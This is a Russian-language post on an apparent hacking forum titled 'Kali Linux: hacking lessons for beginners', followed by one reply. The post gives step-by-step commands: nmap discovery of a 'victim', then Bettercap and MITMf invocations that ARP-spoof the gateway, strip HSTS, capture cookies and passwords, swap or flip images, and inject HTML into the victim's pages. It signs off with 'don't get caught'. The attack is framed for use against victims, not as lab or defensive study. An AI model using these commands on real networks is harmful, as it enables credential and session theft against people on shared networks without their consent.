• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Kali Linux: Уроки взлома (Для новичков).

  • Автор темы Удалённый пользователь 67689
  • Дата начала

Удалённый пользователь 67689

Guest
У

Удалённый пользователь 67689

Guest
Всем привет.
Сегодня научу вас элементарным взломам при помощи утилит Bettercap и MITMf.
Попрошу кулхацкеров не писать "давно уже знал это" или "баян", Статья написана для новичков!

Ну что, погнали?

1)Bettercap
Bettercap
- набор инструментов для проведения тестов на безопасность в сети.

И так, приступим, для этого нам понадобится Kali Linux и утилита под названием Bettercap.
Для начала нам нужно узнать IP роутера, для этого откроем терминал и запишем вот эту команду...
route -n

Получив адрес роутера нам нужно узнать адрес жертвы...
nmap -sP 192.168.1.1/24

Дальше, вводим собственно и саму команду для перехвата печенька и паролей...
bettercap --interface eth0 --gateway 192.168.1.1 --target IP ЖЕРТВЫ -X

Поздравляю, перехват куки и паролей начался.


MITMf
Второй способ перехватить куки, это при помощи утилиты MITMf.

MITMf — это фреймворк для атак человек-посередине (Man-In-The-Middle attacks). Этот инструмент основывается на sergio-proxy и является попыткой возродить и обновить этот проект.

Цель MITMf — быть инструментом всё-в-одном для сетевых атак и атак человек-по-середине, при этом обновляя и усовершенствую существующие атаки и техники.

Давайте установим MITMf...
sudo apt-get install mitmf mitmflib

Для перехвата куки вводим команду...
mitmf -i eth0 --spoof --arp --hsts --gateway IP РОУТЕРА -- target IP ЖЕРТВЫ --ferretng

Перехват начался.


2)Как перевернуть изображение на 180 градусов?

Что бы перевернуть картинку на 180 градусов, мы будем использовать все тот же MITMf.
Как узнать IP роутера и жертвы вы уже знаете, так что приступим сразу к команде.
Вводим...
mitmf -i eth0 --spoof --arp --hsts --gateway IP РОУТЕРА --target IP ЖЕРТВЫ --upsidedownternet


Как заменить изображение?
Вводим..
mitmf -i eth0 --spoof --arp --gateway IP РОУТЕРА --target IP ЖЕРТВЫ --imgrand --img-dir ПУТЬ К ПАПКЕ С КАРТИНКОЙ



3)Инжект в HTML
Для начала нам нужно создать html файл с кодом.
Давайте для примера создадим черную страницу с красным текстом.

HTML:
<html>
<body bgcolor="red">
<p><font size="15" color="red">BHF.io</font></p>
</body>
</html>

Сохраним этот файл, и в консоли пишем команду для инжекту...
mitmf -i eth0 --spoof --arp --hsts --gateway IP РОУТЕРА --target IP ЖЕРТВЫ --inject --html-file 'ПУТЬ К ФАЙЛУ /index.html''

Если постараться, то можно реализовать все это на обычном смартфоне на базе андроид, но об этом в следующий раз.
Вот и все) Всем удачи, и не попадитесь.​
 

CypherZ

Местный
Сообщения
176
Реакции
182
0 руб.
Telegram
Jabber
Два этих фреймворка можно заменить на один burpsuit, он гораздо удобнее ( там хотя бы графичесский интерфейс есть )
ну а MITMf больше подходит отдельно для модификации трафика (burpsuit forever)
 
Сверху Снизу